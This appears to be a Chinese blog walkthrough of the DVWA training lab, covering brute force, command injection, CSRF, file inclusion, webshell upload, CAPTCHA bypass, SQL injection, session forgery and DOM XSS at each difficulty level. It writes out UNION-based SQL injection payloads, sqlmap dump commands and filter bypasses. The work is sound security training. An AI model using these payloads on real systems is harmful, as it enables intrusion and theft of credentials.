DVWA靶场通关

已于 2025-01-03 16:43:36 修改
阅读量1.1k 收藏 30
点赞数 13
分类专栏： 网络空间安全 文章标签： 网络安全 web安全
于 2025-01-02 19:34:51 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/m0_60984906/article/details/144770686
版权

目录

Brute Force

Low

Medium

High

Command Injection

Low

Medium

High

CSRF

Low

Medium

High

File Inclusion

Low

Medium

High

File Upload

Low

​Medium

High

Insecure CAPTCHA

Low

Medium

High

SQL Injection

Low

Medium

High

SQL Injection (Blind)

Low

Medium

High

Weak Session IDs

Low

Medium

High

XSS(DOM）

Low

Medium

High

Brute Force

Low

用admin账号输入一个随机密码进行抓包，发送到爆破模块进行字典爆破密码

发现有一个响应长度不一样，最终发现这就是密码

Medium

一样抓密码去爆破

High

该关新增了token验证，使用burp爆破需要进行额外设置

根据该关源码设计思路先提交账号密码，当登陆失败时，返回一个新的token，下次提交登陆数据时，需要带着这个token，当token验证通过后，才会验证账号密码

一样先抓包放到爆破模块，选择攻击模式为Pitchfork，将password和token设置为两个参数，password和上述添加字典一致就不再阐述，设置第二个参数：

将这个设置为always

设置第二个参数的攻击模式

开始攻击，一样看到一个数据包长度不一致，查看即爆破成功

Command Injection

Low

|、||、&、&&都是windows和linux的连接管道符

Medium

新增过滤了&&和;符号，不使用即可

High

新增过滤了更多字符，但这过滤的 | 后面多了一个空格

CSRF

Low

该关只校验了cookie

抓取到更改密码时的数据包，用bp生成一个CSRF链接

丢弃掉抓的数据包，然后模拟用户在登录的状态下点击了陌生链接的情况，当一访问链接时发现密码被更改

Medium

先试试Low的方法，发现提示，是来源不正确

在Low方法中，在访问csrf链接时再抓一次包，修改referer字段，只要字段中包含host的内容即可，也可以手写一个网页然后将网页名称修改为包含host字段的名字，然后在访问时的referer就会包含host

High

File Inclusion

Low

输入一个不存在的php文件，暴露出了目录

尝试获取phpinfo.php

获取源码

Medium

先输入一个不存在的php文件

尝试获取c:\windows\win.ini文件，能够获取得到

尝试获取../../phpinfo.php发现提示文件不存在，但实际该文件存在，可能时../过滤

尝试双写绕过

High

file伪协议读取文件

File Upload

Low

写一个一句话木马上传，蚁剑或菜刀或其他连接工具连接即可

Medium

正常上传提示不是图像

通过修改Content-Type伪造为png文件

High

只能利用文件上传+文件包含，首先制作图片马上传

利用文件包含漏洞解析图片马

蚁剑连接即可

Insecure CAPTCHA

Low

正常修改密码显示验证不通过

抓包，将step修改为2即可通过

Medium

通过查看源码，需要step=2和passed_captcha=true才可通过校验

High

分析源码，UA字段需要是reCAPTCHA，g-recaptcha-response=hidd3n_valu3即可

SQL Injection

Low

判断是否存在漏洞和闭合方式是'

使用order by判断字段数为2

联合查询1,2查看是否有返回显示

有返回显示，使用联合查询注入获取数据库名

id=x' union select database(),2#

获取表名

x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取字段

x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

获取id=1的user和password

x' union select 1,concat(user,',',password) from users where user_id=1#

md5爆破

Medium

其主要是多了一个选择框只需要在bp抓包中进行数字型联合查询注入即可基本和Low一致

High

判断有无sql漏洞，1正常，1"正常，1’报错，证明存在sql注入漏洞，闭合方式是'

判断字段数为2，因为3报错

查询1,2有返回显示，使用联合查询注入

获取数据库名

获取表名

1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#

获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

获取数据

1' union select 1,group_concat(user,',',password) from users where user_id=1#

SQL Injection (Blind)

Low

使用sqlmap获取数据库名

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db

获取表名

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa

获取字段

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa

获取数据

python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dvwa

Medium

将数据包保存成txt并在id参数值后面添加*

sqlmap获取数据库名

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --current-db

获取表

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --tables -D dvwa

获取字段

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --columns -T users -D dvwa

获取数据

High

注入页面和显示页面不是同一个页面，设置--second-url参数即可

sqlmap获取数据库名

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities
/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db

获取表名

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa

获取字段

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa

获取数据

python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dv
wa

Weak Session IDs

Low

通过抓包获取到cookie

打开一个新的浏览器，已清除cookies，然后访问构造的url和添加的cookie访问成功进入

Medium

其使用的session是时间戳，一样可以伪造

抓包查看

打开一个新的浏览器，已清除cookies，然后访问构造的url和添加的cookie访问成功进入，时间戳获取可以在时间戳获取网站获取

成功访问进入

High

其使用的session是md5加密的，尝试几次破解发现就是数字123不断加，进行md5加密携带进cookie即可

XSS(DOM）

Low

将注入语句直接写在url

Medium

查看html代码，首先闭合option标签后再闭合select标签，之后script被替换了使用img

High

根据源码，default只运行传入选项里的那几个字符串，通过添加#注释符绕过

DVWA靶场通关(2023)
2301_80548709的博客
02-23 2741
1.这道题是爆破用户名,以及密码,其实就是通过burp软件来爆破抓包成功!接下来爆破修改这两个值,进行爆破,正确导入字典后,开始爆破.因为已经知道了答案,我们可以让爆破的数量少一点,找到数量不一致的,得到结果2.第二种,主要区别在于我们必须休眠两秒,才能继续.所以让它休眠2000ms就欧克了为了方便,我就将正确答案置于了顶端,可以发现,我们的爆破可以保证全为200的状态码3.第三题,通过查询得到,主要增加了token值,这个东西。
DVWA------Weak Session IDs（弱会话IDs）
m0_65712192的博客
12-10 1621
DVWA------Weak Session IDs（弱会话IDs）
【DVWA】Weak Session IDs (弱会话)
过期的秋刀鱼
08-16 490
不存在就设为 0，生成 cookie 时就在 cookies 上 dvwaSessionId + 1。当用户登录后，在服务器就会创建一个会话(session)，叫做会话控制，接着访问页面的时候就不用登录，只需要携带Sesion去访问。所以只需将数字使用md5加密，循环的方式跑脚本，依然可以破解。点击Generate(生成会话)，使用bp进行抓包。的值，但是依然无法改变每次加一的规律。在bp上抓包，复制Cookie信息。,将url粘贴到地址栏，将复制的。将获取当前的时间戳作为了会话的值。
实验：DVWA—Weak Session IDs（弱口令）
Cwillchris的博客
10-28 1788
DVWA靶机：172.16.12.10 windos攻击机：172.16.12.7 kali攻击机：172.16.12.30 实验步骤： 一、Low级 WeakSessionIDs： 密码与证书等认证手段，一般仅仅用于登录（Login）的过程。当登陆完成后，用户访问网站的页面，不可能每次浏览器请求页面时都再使用密码认证一次。因此，当认证完成后。就需要替换一个对用户透明的凭证。这个凭证就是SessionID。 当用户登陆完成后，在服务器端就会创建一个新的会话（Session），会话中会保存用户...
【网络安全】DVWA Weak Session IDs（弱会话）详析
等风来
06-16 5144
通过在特定时间点之前获取 Cookie 的值，并在该时间点之后使用 Cookie 进行会话劫持，攻击者可以获得未经授权的访问权限。这意味着攻击者可以通过猜测会话 ID 的值或使用可预测的模式，获取合法用户的会话标识并冒充该用户。使用名为 “dvwaSession” 的 Cookie 名称，将变量 $cookie_value 的值设置为 Cookie 的值。代码中使用的会话 ID 是通过递增的方式生成的，这种生成方式容易被攻击者猜测或推测出合法的会话标识，从而增加会话劫持攻击的风险。
web基础—dvwa靶场（九）Weak Session IDs
m0_74080781的博客
09-19 872
在网络应用中，“Session” 称为“会话控制”，Session 对象存储特定用户会话所需的属性及配置信息。用户在应用程序的 Web 页面之间跳转时，存储在 Session 对象中的变量将不会丢失。当用户请求来自应用程序的网页时，如果该用户还没有会话，则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后，服务器将终止该会话，会话状态仅在支持 cookie 的浏览器中保留。使用Cookie的网站服务器为用户产生一个唯一的识别码，利用此识别码网站就能够跟踪该用户在该网站的活动。
DVWA靶场通关----（三）CSRF
最新发布
m0_74977101的博客
02-04 793
攻击者诱骗用户浏览器向目标网站发送一个“伪造的请求”（如转账、修改密码），利用用户已登录的会话权限完成恶意操作。
DVWA靶场通关实战
qaq517384的博客
11-28 2711
Brute Force Command Injection CSRF File Inclusion File Upload Insecure CAPTCHA SQL Injection SQL Injection Weak Session IDs XSS (DOM) XSS（Reflected） XSS（Stored） CSP Bypass JavaScript
DVWA靶场通关----(3) CSRF教程
2401_84968612的博客
05-12 587
}?> 404 file not found. ``` 这样的话，当我们打开 1.html 文件的时候，密码就会被修改成123456，（诱骗受害者点击这个1.html文件） Medium级别的代码检查了保留变量 HTTP_REFERER（http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME（http包头的Host参数，及要访问的主机名，这里是127.0.0.3），希望通过这种机制抵御CSRF攻击。其实意思是这个referer中只要出现Host就可以正常操作恶意网站中是这样的
DVWA学习之Weak Session IDs （弱会话IDs）
weixin_40950781的博客
08-21 7845
DVWA学习之Weak Session IDs（弱会话IDs）Weak Session IDs（弱会话IDs）0x01 何为Weak Session IDs0x02 low级别 Weak Session IDs（弱会话IDs） 0x01 何为Weak Session IDs 当用户登录后，在服务器就会创建一个会话(session)，叫做会话控制，接着访问页面的时候就不用登录，只需要携带 Sesio...
网络安全 DVWA通关指南 DVWA Weak Session IDs（弱会话）
YueXuan_521的博客
09-26 1258
网络安全 DVWA通关指南 DVWA Weak Session IDs（弱会话）
dvwa靶场通关教程（保姆及教学，一看就会）
热门推荐
m0_69043895的博客
04-05 2万+
可以看到，Impossible级别的代码对上传文件进行了重命名（为md5值，导致%00截断无法绕过过滤规则），加入Anti-CSRF token防护CSRF攻击，同时对文件的内容作了严格的检查，导致攻击者无法上传含有恶意脚本的文件。让通过验证的情况增加了一种。回到payload，选择第二个爆破点，选择递归模式，recursive grep，设置初始值。看源代码可以发现，不仅限制了文件类型，而且限制了大小，不能少于100kb。可以看到，靶场对文件类型做了限制，只允许上传png、jpeg，并且检查。
DVWA 之 Weak Session IDs（弱会话）
RexHa的博客
10-05 816
dvwa Weak Session IDs（弱会话）
DVWA 通关指南：Weak Session IDs (弱会话)
weixin_50464560的博客
07-29 857
DVWA 通关指南：Weak Session IDs (弱会话) 目录 Weak Session IDs (弱会话) Low Level 源码审计 攻击方式 Medium Level 源码审计 攻击方式 High Level 源码审计 攻击方式 Impossible Level 总结与防御 参考资料 Weak Session IDs (弱会话) Knowledge of a session ID is often the only thing required to access a site as a s
【DVWA】--- 十二、弱会话ID(Weak Session IDs)
qq_43168364的博客
05-31 526
Weak Session IDs 目录 一、low级别 二、Medium级别 三、High级别 四、Impossible级别 一、low级别 代码审计 相关函数 setcookie() 函数: 向客户端发送一个 HTTP cookie。 setcookie(name,value,expire,path,domain,secure,httponly) name----必需。规定cookie的名称。 value----必需。规定cookie的值。 expire----可选。规定cookie的有效期。
DVWA通关--弱会话ID(Weak Session IDs)
箭雨镜屋
01-18 1423
主要思路是通过多次生成会话ID来摸索会话ID的规律。 LOW 通过步骤 1、按一下Generate按钮，burpsuite抓包，发现Response中Set-Cookie: dvwaSession=1 2、再次按下Generate按钮，burpsuite抓包，发现Request中Cookie头包含dvwaSession=1（其他两个值security=low; PHPSESSID=ufkhsgpocjvch99ejmu3ft1006是登录DVWA的时候服务器设置的cookie，与本关无关）；
DVWA——Weak Session IDs(low)
分享简单的安全技术
01-12 281
Weak Session IDs 界面 源代码 <?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id'])) { $_SESSION['last_session_id'] = 0; } $_SESSION['last_session_id']++; $cookie_value = $_SESSION['
dvwa之Weak Session IDs
Alsn86的博客
02-04 223
dvwa之Weak Session IDs weak Session IDs之low等级 <?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id'])) { $_SESSION['last_session_id'] = 0; } $_SESSION['last_session_id']++; $cookie_value = $_SESSION
dvwa靶场通关教程
07-28
当然，下面是一些关于DVWA靶场通关的指南： 1. 获取DVWA：首先，你需要下载和安装DVWA（Damn Vulnerable Web Application）。你可以在官方网站上找到最新版本的下载链接。 2. 配置DVWA：安装完成后，你需要进行一些配置。打开DVWA的安装页面，在那里你可以设置数据库连接等信息。确保你已经正确设置了所有必要的配置项。 3. 注册和登录：完成配置后，你需要注册一个新用户并登录DVWA。默认情况下，用户名是admin，密码是password。请尽快修改密码以确保安全性。 4. 熟悉靶场：DVWA提供了多个不同安全级别的漏洞和挑战。你可以从低级别开始，逐渐提高难度。熟悉每个漏洞类型，了解其背后的原理和攻击方式。 5. 攻击和解决漏洞：使用各种技术和工具来攻击DVWA中的漏洞。例如，你可以尝试使用SQL注入、跨站脚本（XSS）、文件上传漏洞等进行攻击。在攻击过程中，了解攻击原理并尝试解决这些漏洞。 6. 学习和改进：参考文档、教程和其他资源来学习有关DVWA漏洞和安全性的更多知识。尝试不同的攻击方法，并思考如何防止这些攻击。 请注意，在进行DVWA靶场的攻击和解决漏洞时，务必遵守法律和道德规范。只在合法的环境中进行实践，并始终保持对系统和数据的尊重。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

拾柒SHY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值